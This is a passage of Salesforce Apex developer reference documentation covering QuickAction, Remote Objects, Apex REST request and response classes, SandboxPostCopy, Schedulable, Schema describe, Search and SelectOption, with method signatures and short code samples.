describeAvailableQuickActions(parentType)
Returns metadata information for the available quick actions of the provided parent object.
describeAvailableQuickActions(sObjectNames)
Returns the metadata information for the provided quick actions.
performQuickAction(quickActionRequest)
Performs the quick action specified in the quick action request and returns the action result.
performQuickAction(quickActionRequest, allOrNothing)
Performs the quick action specified in the quick action request with the option for partial success, and returns the result.
performQuickActions(quickActionRequests)
Performs the quick actions specified in the quick action request list and returns action results.
performQuickActions(quickActionRequests, allOrNothing)
Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.
describeAvailableQuickActions(parentType)
Returns metadata information for the available quick actions of the provided parent object.
Signature
public static List<QuickAction.DescribeAvailableQuickActionResult>
describeAvailableQuickActions(String parentType)
Parameters
parentType
Type: String
The parent object type. This can be an object type name ('Account') or 'Global' (meaning that this method is called at a global level
and not an entity level).
Return Value
Type: List<QuickAction.DescribeAvailableQuickActionResult>
The metadata information for the available quick actions of the parent object.
Example
// Called for Account entity.
List<QuickAction.DescribeAvailableQuickActionResult> result1 =
QuickAction.DescribeAvailableQuickActions('Account');
// Called at global level, not entity level.
2449
QuickAction ClassReference
List<QuickAction.DescribeAvailableQuickActionResult> result2 =
QuickAction.DescribeAvailableQuickActions('Global');
describeAvailableQuickActions(sObjectNames)
Returns the metadata information for the provided quick actions.
Signature
public static List<QuickAction.DescribeQuickActionResult>
describeAvailableQuickActions(List<String> sObjectNames)
Parameters
sObjectNames
Type: List<String>
The names of the quick actions. The quick action name can contain the entity name if it is at the entity level
('Account.QuickCreateContact'), or 'Global' if used for the action at the global level ('Global.CreateNewContact').
Return Value
Type: List<QuickAction.DescribeQuickActionResult>
The metadata information for the provided quick actions.
Example
// First 3 parameter values are for actions at the entity level.
// Last parameter is for an action at the global level.
List<QuickAction.DescribeQuickActionResult> result =
QuickAction.DescribeQuickActions(new List<String> {
'Account.QuickCreateContact','Opportunity.Update1',
'Contact.Create1','Global.CreateNewContact' });
performQuickAction(quickActionRequest)
Performs the quick action specified in the quick action request and returns the action result.
Signature
public static QuickAction.QuickActionResult
performQuickAction(QuickAction.QuickActionRequest quickActionRequest)
Parameters
quickActionRequest
Type: QuickAction.QuickActionRequest
Return Value
Type: QuickAction.QuickActionResult
2450
QuickAction ClassReference
performQuickAction(quickActionRequest, allOrNothing)
Performs the quick action specified in the quick action request with the option for partial success, and returns the result.
Signature
public static QuickAction.QuickActionResult
performQuickAction(QuickAction.QuickActionRequest quickActionRequest, Boolean
allOrNothing)
Parameters
quickActionRequest
Type: QuickAction.QuickActionRequest
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false for this argument and a record fails, the remainder of
the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which
failed, and why.
Return Value
Type: QuickAction.QuickActionResult
performQuickActions(quickActionRequests)
Performs the quick actions specified in the quick action request list and returns action results.
Signature
public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests)
Parameters
quickActionRequests
Type: List<QuickAction.QuickActionRequest>
Return Value
Type: List<QuickAction.QuickActionResult>
performQuickActions(quickActionRequests, allOrNothing)
Performs the quick actions specified in the quick action request list with the option for partial success, and returns action results.
2451
QuickAction ClassReference
Signature
public static List<QuickAction.QuickActionResult>
performQuickActions(List<QuickAction.QuickActionRequest> quickActionRequests, Boolean
allOrNothing)
Parameters
quickActionRequests
Type: List<QuickAction.QuickActionRequest>
allOrNothing
Type: Boolean
Specifies whether this operation allows partial success. If you specify false for this argument and a record fails, the remainder of
the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which
failed, and why.
Return Value
Type: List<QuickAction.QuickActionResult>
RemoteObjectController
Use RemoteObjectController to access the standard Visualforce Remote Objects operations in your Remote Objects override
methods.
Namespace
System
Usage
RemoteObjectController is supported only for use within Remote Objects methods. See “Overriding Default Remote Objects
Operations” in the Visualforce Developer’s Guide for examples of how to use RemoteObjectController with your Visualforce
pages.
RemoteObjectController Methods
The following are methods for RemoteObjectController. All methods are static.
IN THIS SECTION:
create(type, fields)
Create a record in the database.
del(type, recordIds)
Delete records from the database.
retrieve(type, fields, criteria)
Retrieve records from the database.
2452
RemoteObjectControllerReference
updat(type, recordIds, fields)
Update records in the database.
create(type, fields)
Create a record in the database.
Signature
public static Map<String,Object> create(String type, Map<String,Object> fields)
Parameters
type
Type: String
The sObject type on which create is being called.
fields
Type: Map<String,Object>
The fields and values to set on the new record.
Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the
call.
Success
A map that contains a single element with the ID of the record created. For example, { id: 'recordId' }.
Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage'}.
del(type, recordIds)
Delete records from the database.
Signature
public static Map<String,Object> del(String type, List<String> recordIds)
Parameters
type
Type: String
The sObject type on which delete is being called.
recordIds
Type: List<String>
The IDs of the records to be deleted.
2453
RemoteObjectControllerReference
Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method
was called and the results of the call.
Single Delete—Success
A map that contains a single element with the ID of the record that was deleted. For example, { id: 'recordId'}.
Batch Delete—Success
A map that contains a single element, an array of Map<String,Object> elements. Each element contains the ID of a record that was
deleted and an array of errors, if there were any, for that record’s individual delete. For example, { results: [ { id:
'recordId', errors: ['errorMessage', ...]}, ...] }.
Single and Batch Delete—Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage' }.
retrieve(type, fields, criteria)
Retrieve records from the database.
Signature
public static Map<String,Object> retrieve(String type, List<String> fields,
Map<String,Object> criteria)
Parameters
type
Type: String
The sObject type on which retrieve is being called.
fields
Type: List<String>
The fields to retrieve for each record.
criteria
Type: Map<String,Object>
The criteria to use when performing the query.
Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on the results of the
call.
Success
A map that contains the following elements.
•records: An array of records that match the query conditions.
•type: A string that indicates the type of the sObject that was retrieved.
•size: The number of records in the response.
2454
RemoteObjectControllerReference
Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage'}.
updat(type, recordIds, fields)
Update records in the database.
Signature
public static Map<String,Object> updat(String type, List<String> recordIds,
Map<String,Object> fields)
Parameters
type
Type: String
The sObject type on which update is being called.
recordIds
Type: List<String>
The IDs of the records to be updated.
fields
Type: Map<String,Object>
The fields to update, and the value to update each field with.
Return Value
Type: Map<String,Object>
The return value is a map that represents the result of the Remote Objects operation. What is returned depends on how the method
was called and the results of the call.
Single Update—Success
A map that contains a single element with the ID of the record that was updated. For example, { id: 'recordId'}.
Batch Update—Success
A map that contains a single element, an array of Map<String,Object> elements. Each element contains the ID of the record updated
and an array of errors, if there were any, for that record’s individual update. For example, { results: [ { id: 'recordId',
errors: ['errorMessage', ...]}, ...] }.
Single and Batch Update—Failure
A map that contains a single element with the error message for the overall operation. For example, { error:
'errorMessage'}.
ResetPasswordResult Class
Represents the result of a password reset.
2455
ResetPasswordResult ClassReference
Namespace
System
ResetPasswordResult Methods
The following are instance methods for ResetPasswordResult.
IN THIS SECTION:
getPassword()
Returns the password generated by the System.resetPassword method call.
getPassword()
Returns the password generated by the System.resetPassword method call.
Signature
public String getPassword()
Return Value
Type: String
RestContext Class
Contains the RestRequest and RestResponse objects.
Namespace
System
Usage
Use the System.RestContext class to access the RestRequest and RestResponse objects in your Apex REST methods.
Sample
The following example shows how to use RestContext to access the RestRequest and RestResponse objects in an Apex
REST method.
@RestResource(urlMapping='/MyRestContextExample/*')
global with sharing class MyRestContextExample {
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
2456
RestContext ClassReference
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
}
RestContext Properties
The following are properties for RestContext.
IN THIS SECTION:
request
Returns the RestRequest for your Apex REST method.
response
Returns the RestResponse for your Apex REST method.
request
Returns the RestRequest for your Apex REST method.
Signature
public RestRequest request {get; set;}
Property Value
Type: System.RestRequest
response
Returns the RestResponse for your Apex REST method.
Signature
public RestResponse response {get; set;}
Property Value
Type: System.RestResponse
RestRequest Class
Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method.
Namespace
System
2457
RestRequest ClassReference
Usage
Use the System.RestRequest class to pass request data into an Apex RESTful Web service method that is defined using one of
the REST annotations.
Example: An Apex Class with REST Annotated Methods
The following example shows you how to implement the Apex REST API in Apex. This class exposes three methods that each handle a
different HTTP request: GET, DELETE, and POST. You can call these annotated methods from a client by issuing HTTP requests.
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {
@HttpDelete
global static void doDelete() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account account = [SELECT Id FROM Account WHERE Id = :accountId];
delete account;
}
@HttpGet
global static Account doGet() {
RestRequest req = RestContext.request;
RestResponse res = RestContext.response;
String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id =
:accountId];
return result;
}
@HttpPost
global static String doPost(String name,
String phone, String website) {
Account account = new Account();
account.Name = name;
account.phone = phone;
account.website = website;
insert account;
return account.Id;
}
}
IN THIS SECTION:
RestRequest Constructors
RestRequest Properties
RestRequest Methods
2458
RestRequest ClassReference
RestRequest Constructors
The following are constructors for RestRequest.
IN THIS SECTION:
RestRequest()
Creates a new instance of the System.RestRequest class.
RestRequest()
Creates a new instance of the System.RestRequest class.
Signature
public RestRequest()
RestRequest Properties
The following are properties for RestRequest.
Note: While the RestRequest List and Map properties are read-only, their contents are read-write. You can modify them by
calling the collection methods directly or you can use of the associated RestRequest methods shown in the previous table.
IN THIS SECTION:
headers
Returns the headers that are received by the request.
httpMethod
Returns one of the supported HTTP request methods.
params
Returns the parameters that are received by the request.
remoteAddress
Returns the IP address of the client making the request.
requestBody
Returns or sets the body of the request.
requestURI
Returns or sets everything after the host in the HTTP request string.
resourcePath
Returns the REST resource path for the request.
headers
Returns the headers that are received by the request.
Signature
public Map<String,String> headers {get; set;}
2459
RestRequest ClassReference
Property Value
Type: Map<String, String>
httpMethod
Returns one of the supported HTTP request methods.
Signature
public String httpMethod {get; set;}
Property Value
Type: String
Possible values returned:
•DELETE
•GET
•HEAD
•PATCH
•POST
•PUT
params
Returns the parameters that are received by the request.
Signature
public Map <String,String> params {get; set;}
Property Value
Type: Map<String, String>
remoteAddress
Returns the IP address of the client making the request.
Signature
public String remoteAddress {get; set;}
Property Value
Type: String
2460
RestRequest ClassReference
requestBody
Returns or sets the body of the request.
Signature
public Blob requestBody {get; set;}
Property Value
Type: Blob
Usage
If the Apex method has no parameters, then Apex REST copies the HTTP request body into the RestRequest.requestBody
property. If there are parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't be deserialized
into the RestRequest.requestBody property.
requestURI
Returns or sets everything after the host in the HTTP request string.
Signature
public String requestURI {get; set;}
Property Value
Type: String
Example
For example, if the request string is https://instance.salesforce.com/services/apexrest/Account/ then
the requestURI is /services/apexrest/Account/.
resourcePath
Returns the REST resource path for the request.
Signature
public String resourcePath {get; set;}
Property Value
Type: String
Example
For example, if the Apex REST class defines a urlMapping of /MyResource/*, the resourcePath property returns
/services/apexrest/MyResource/*.
2461
RestRequest ClassReference
RestRequest Methods
The following are methods for RestRequest. All are instance methods.
Note: At runtime, you typically don't need to add a header or parameter to the RestRequest object because they are
automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST
classes. You can use them to add header or parameter values to the RestRequest object without having to recreate the REST
method call.
IN THIS SECTION:
addHeader(name, value)
Adds a header to the request header map.
addParameter(name, value)
Adds a parameter to the request params map.
addHeader(name, value)
Adds a header to the request header map.
Signature
public Void addHeader(String name, String value)
Parameters
name
Type: String
value
Type: String
Return Value
Type: Void
Usage
This method is intended for unit testing of Apex REST classes.
Please note that the following headers aren't allowed:
•cookie
•set-cookie
•set-cookie2
•content-length
•authorization
If any of these are used, an Apex exception will be thrown.
2462
RestRequest ClassReference
addParameter(name, value)
Adds a parameter to the request params map.
Signature
public Void addParameter(String name, String value)
Parameters
name
Type: String
value
Type: String
Return Value
Type: Void
Usage
This method is intended for unit testing of Apex REST classes.
RestResponse Class
Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.
Namespace
System
Usage
Use the System.RestReponse class to pass response data from an Apex RESTful web service method that is defined using one
of the REST annotations on page 94.
IN THIS SECTION:
RestResponse Constructors
RestResponse Properties
RestResponse Methods
RestResponse Constructors
The following are constructors for RestResponse.
2463
RestResponse ClassReference
IN THIS SECTION:
RestResponse()
Creates a new instance of the System.RestResponse class.
RestResponse()
Creates a new instance of the System.RestResponse class.
Signature
public RestResponse()
RestResponse Properties
The following are properties for RestResponse.
Note: While the RestResponse List and Map properties are read-only, their contents are read-write. You can modify them
by calling the collection methods directly or you can use of the associated RestResponse methods shown in the previous
table.
IN THIS SECTION:
responseBody
Returns or sets the body of the response.
headers
Returns the headers to be sent to the response.
statusCode
Returns or sets the response status code.
responseBody
Returns or sets the body of the response.
Signature
public Blob responseBody {get; set;}
Property Value
Type: Blob
Usage
The response is either the serialized form of the method return value or it's the value of the responseBody property based on the following
rules:
•If the method returns void, then Apex REST returns the response in the responseBody property.
•If the method returns a value, then Apex REST serializes the return value as the response.
2464
RestResponse ClassReference
headers
Returns the headers to be sent to the response.
Signature
public Map<String,String> headers {get; set;}
Property Value
Type: Map<String, String>
statusCode
Returns or sets the response status code.
Signature
public Integer statuscode {get; set;}
Property Value
Type: Integer
Status Codes
The following are valid response status codes. The status code is returned by the RestResponse.statusCode property.
Note: If you set the RestResponse.statusCode property to a value that's not listed in the table, then an HTTP status of
500 is returned with the error message “Invalid status code for HTTP response: nnn” where nnn is the invalid status code value.
DescriptionStatus Code
OK200
CREATED201
ACCEPTED202
NO_CONTENT204
PARTIAL_CONTENT206
MULTIPLE_CHOICES300
MOVED_PERMANENTLY301
FOUND302
NOT_MODIFIED304
BAD_REQUEST400
UNAUTHORIZED401
FORBIDDEN403
2465
RestResponse ClassReference
DescriptionStatus Code
NOT_FOUND404
METHOD_NOT_ALLOWED405
NOT_ACCEPTABLE406
CONFLICT409
GONE410
PRECONDITION_FAILED412
REQUEST_ENTITY_TOO_LARGE413
REQUEST_URI_TOO_LARGE414
UNSUPPORTED_MEDIA_TYPE415
EXPECTATION_FAILED417
INTERNAL_SERVER_ERROR500
SERVER_UNAVAILABLE503
RestResponse Methods
The following are instance methods for RestResponse.
Note: At runtime, you typically don't need to add a header to the RestResponse object because it's automatically deserialized
into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to
add header or parameter values to the RestRequest object without having to recreate the REST method call.
IN THIS SECTION:
addHeader(name, value)
Adds a header to the response header map.
addHeader(name, value)
Adds a header to the response header map.
Signature
public Void addHeader(String name, String value)
Parameters
name
Type: String
value
Type: String
2466
RestResponse ClassReference
Return Value
Type: Void
Usage
Please note that the following headers aren't allowed:
•cookie
•set-cookie
•set-cookie2
•content-length
•authorization
If any of these are used, an Apex exception will be thrown.
SandboxPostCopy Interface
To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and add
methods to perform post-copy tasks, then specify the class during sandbox creation.
Namespace
System
Usage
Create an Apex class that implements this interface. For example, the following Apex class reports the three contexts available in
SandboxPostCopy: your organization ID, sandbox ID, and sandbox name:
global class HelloWorld implements SandboxPostCopy {
global void runApexClass(SandboxContext context) {
System.debug('Hello Tester Pester ' + context.organizationId() + ''+
context.sandboxId() + context.sandboxName());
}
}
IN THIS SECTION:
SandboxPostCopy Methods
SandboxPostCopy Example Implementation
SandboxPostCopy Methods
The following method is for SandboxPostCopy.
IN THIS SECTION:
runApexClass(context)
2467
SandboxPostCopy InterfaceReference
runApexClass(context)
Signature
public void runApexClass(System.SandboxContext context)
Parameters
context
Type: System.SandboxContext
The context for your sandbox.
Return Value
Type: void
SandboxPostCopy Example Implementation
This is an example implementation of the System.SandboxPostCopy interface.
global class HelloWorld implements SandboxPostCopy {
global void runApexClass(SandboxContext context) {
System.debug('Hello Tester Pester ' + context.organizationId() + '
' + context.sandboxId() + context.sandboxName());
}
}
The following example tests the implementation:
@isTest
class testHelloWorld{
@isTest
static void testSandboxPostCopyScript() {
HelloWorld apexclass = new HelloWorld();
Test.testSandboxPostCopyScript(apexClassName,'orgID', 'sandboxID','sandboxName');
System.assertEquals(1,1,'Test something');
Schedulable Interface
The class that implements this interface can be scheduled to run at different intervals.
Namespace
System
SEE ALSO:
Apex Scheduler
2468
Schedulable InterfaceReference
Schedulable Methods
The following are methods for Schedulable.
IN THIS SECTION:
execute(context)
Executes the scheduled Apex job.
execute(context)
Executes the scheduled Apex job.
Signature
public Void execute(SchedulableContext context)
Parameters
context
Type: System.SchedulableContext
Contains the job ID.
Return Value
Type: Void
SchedulableContext Interface
Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled job
ID. This interface is implemented internally by Apex.
Namespace
System
SEE ALSO:
Schedulable Interface
SchedulableContext Methods
The following are methods for SchedulableContext.
IN THIS SECTION:
getTriggerId()
Returns the ID of the CronTrigger scheduled job.
2469
SchedulableContext InterfaceReference
getTriggerId()
Returns the ID of the CronTrigger scheduled job.
Signature
public Id getTriggerId()
Return Value
Type: ID
Schema Class
Contains methods for obtaining schema describe information.
Namespace
System
Schema Methods
The following are methods for Schema. All methods are static.
IN THIS SECTION:
getGlobalDescribe()
Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.
describeDataCategoryGroups(sObjectNames)
Returns a list of the category groups associated with the specified objects.
describeSObjects(sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.
describeTabs()
Returns information about the standard and custom apps available to the running user.
GroupStructures(pairs)
Returns available category groups along with their data category structure for objects specified in the request.
getGlobalDescribe()
Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.
Signature
public static Map<String, Schema.SObjectType> getGlobalDescribe()
Return Value
Type: Map<String, Schema.SObjectType>
2470
Schema ClassReference
Usage
For more information, see Accessing All sObjects.
Example
Map<String, Schema.SObjectType> gd =
Schema.getGlobalDescribe();
describeDataCategoryGroups(sObjectNames)
Returns a list of the category groups associated with the specified objects.
Signature
public static List<Schema.DescribeDataCategoryGroupResult>
describeDataCategoryGroups(String sObjectNames)
Parameters
sObjectNames
Type: List<String>
Return Value
Type: List<Schema.DescribeDataCategoryGroupResult>
Usage
You can specify one of the following sObject names:
•KnowledgeArticleVersion—to retrieve category groups associated with article types.
•Question—to retrieve category groups associated with questions.
For more information and code examples using describeDataCategoryGroups, see Accessing All Data Categories Associated with an
sObject.
For additional information about articles and questions, see “Work with Articles and Translations” and “Answers Overview” in the Salesforce
online help.
describeSObjects(sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.
Signature
public static List<Schema.DescribeSObjectResult> describeSObjects(List<String>
sObjectTypes)
Parameters
sObjectTypes
Type: List<String>
2471
Schema ClassReference
The sObjectTypes argument is a list of sObject type names you want to describe.
Return Value
Type: List<Schema.DescribeSObjectResult>
Usage
This method is similar to the getDescribe method on the Schema.sObjectType token. Unlike the getDescribe method,
this method allows you to specify the sObject type dynamically and describe more than one sObject at a time.
You can first call getGlobalDescribe to retrieve a list of all objects for your organization, then iterate through the list and use
describeSObjects to obtain metadata about individual objects.
Example
Schema.DescribeSObjectResult[] descResult = Schema.describeSObjects(
new
String[]{'Account','Contact'});
describeTabs()
Returns information about the standard and custom apps available to the running user.
Signature
public static List<Schema.DescribeTabSetResult> describeTabs()
Return Value
Type: List<Schema.DescribeTabSetResult>
Usage
An app is a group of tabs that works as a unit to provide application functionality. For example, two of the standard Salesforce apps are
“Sales” and “Service.”
The describeTabs method returns the minimum required metadata that can be used to render apps in another user interface.
Typically, this call is used by partner applications to render Salesforce data in another user interface, such as in a mobile or connected
app.
In the Salesforce user interface, users have access to standard apps (and might also have access to custom apps) as listed in the Salesforce
app menu at the top of the page. Selecting an app name in the menu allows the user to switch between the listed apps at any time.
Note: The “All Tabs” tab isn’t included in the list of described tabs.
Example
This example shows how to call the describeTabs method.
Schema.DescribeTabSetResult[] tabSetDesc = Schema.describeTabs();
2472
Schema ClassReference
This is a longer example that shows how to obtain describe metadata information for the Sales app. For each tab, the example gets
describe information, such as the icon URL, whether the tab is custom or not, and colors. The describe information is written to the
debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
2473
Schema ClassReference
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
// DEBUG|isCustom: false
GroupStructures(pairs)
Returns available category groups along with their data category structure for objects specified in the request.
Signature
public static List<Schema.DescribeDataCategoryGroupStructureResult> describeDataCategory
GroupStructures(List<Schema.DataCategoryGroupSobjectTypePair> pairs)
Parameters
pairs
Type: List<Schema.DataCategoryGroupSobjectTypePair>
The pairs argument is one or more category groups and objects to query Schema.DataCategoryGroupSobjectTypePairs. Visible
data categories are retrieved for the specified object. For more information on data category group visibility, see “Data Category
Visibility” in the Salesforce online help.
Return Value
Type: List<Schema.DescribeDataCategoryGroupStructureResult>
Search Class
Use the methods of the Search class to perform dynamic SOSL queries.
Namespace
System
Search Methods
The following are static methods for Search.
IN THIS SECTION:
find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in
Salesforce Knowledge article search results.
query(query)
Performs a dynamic SOSL query.
2474
Search ClassReference
suggest(searchQuery, sObjectType, suggestions)
Returns a list of records or Salesforce Knowledge articles whose names or titles match the user’s search query string. Use this method
to provide users with shortcuts to navigate to relevant records or articles before they perform a search.
find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in
Salesforce Knowledge article search results.
Signature
public static Search.SearchResults find(String searchQuery)
Parameters
searchQuery
Type: String
A SOSL query string.
Return Value
Type: Search.SearchResults
Usage
Use this method wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
See Use Dynamic SOSL to Return Snippets on page 179.
SEE ALSO:
get(sObjectType)
Dynamic SOSL
query(query)
Performs a dynamic SOSL query.
Signature
public static sObject[sObject[]] query(String query)
Parameters
query
Type: String
A SOSL query string.
To create a SOSL query that includes the WITH SNIPPET clause, use the Search.find(String searchQuery) method instead.
2475
Search ClassReference
Return Value
Type: sObject[sObject[]]
Usage
This method can be used wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
For more information, see Dynamic SOSL.
suggest(searchQuery, sObjectType, suggestions)
Returns a list of records or Salesforce Knowledge articles whose names or titles match the user’s search query string. Use this method
to provide users with shortcuts to navigate to relevant records or articles before they perform a search.
Signature
public static Search.SuggestionResults suggest(String searchQuery, String sObjectType,
Search.SuggestionOption suggestions)
Parameters
searchQuery
Type: String
A SOSL query string.
sObjectType
Type: String
An sObject type.
options
Type: Search.SuggestionOption
This object contains options that change the suggestion results.
If the searchQuery returns KnowledgeArticleVersion objects, pass an options parameter with a Search.SuggestionOption
object that contains a language KnowledgeSuggestionFilter and a publish status KnowledgeSuggestionFilter.
For suggestions for all other record types, the only supported option is a limit, which sets the maximum number of suggestions
returned.
Return Value
Type: SuggestionResults
Usage
Use this method to return:
Suggestions for Salesforce Knowledge articles (KnowledgeArticleVersion)
Salesforce Knowledge must be enabled in your organization. The user must have the “View Articles” permission enabled.
The articles suggested include only the articles the user can access, based on the data categories and article types the user has
permissions to view.
2476
Search ClassReference
Suggestions for other record types
The records suggested include only the records the user can access.
This method returns a record if its name field starts with the text in the search string. This method automatically appends an asterisk
wildcard (*) at the end of the search string. Records that contain the search string within a word aren’t considered a match.
Records are suggested if the entire search string is found in the record name, in the same order as specified in the search string. For
example, the text string national u is treated as national u* and returns “National Utility” and “National Urban Company”
but not “National Company Utility” or “Urban National Company”.
Note: If the user’s search query contains quotation marks or wildcards, those symbols are automatically removed from the query
string in the URI.
SEE ALSO:
Suggest Salesforce Knowledge Articles
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.
Namespace
System
SelectOption consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is
selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
2477
SelectOption ClassReference
•SelectOption option = new SelectOption(value,label,isDisabled);
where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed
to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select the option, but
can still view it.
•SelectOption option = new SelectOption(value,label);
where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is
displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and select
the option.
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes
component on a Visualforce page. In the following custom controller, the getItems method defines and returns the list of possible
SelectOption objects:
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
}
}
In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to
retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag,
the options are displayed as checkboxes:
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
<apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
2478
SelectOption ClassReference
</apex:form>
<apex:outputPanel id="out">
<apex:actionstatus id="status" startText="testing...">
<apex:facet name="stop">
<apex:outputPanel>
<p>You have selected:</p>
<apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
</apex:outputPanel>
</apex:facet>
</apex:actionstatus>
</apex:outputPanel>
</apex:page>
IN THIS SECTION:
SelectOption Constructors
SelectOption Methods
SelectOption Constructors
The following are constructors for SelectOption.
IN THIS SECTION:
SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.
SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.
SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.
Signature
public SelectOption(String value, String label)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.
2479
SelectOption ClassReference
Signature
public SelectOption(String value, String label, Boolean isDisabled)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
isDisabled
Type: Boolean
If set to true, the option can’t be selected by the user but can still be viewed.
SelectOption Methods
The following are methods for SelectOption. All are instance methods.
IN THIS SECTION:
getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.
getLabel()
Returns the option label that is displayed to the user.
getValue()
Returns the option value that is returned to the controller if a user selects the option.
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.
setLabel(label)
Sets the value of the option label that is displayed to the user.
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.
getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.
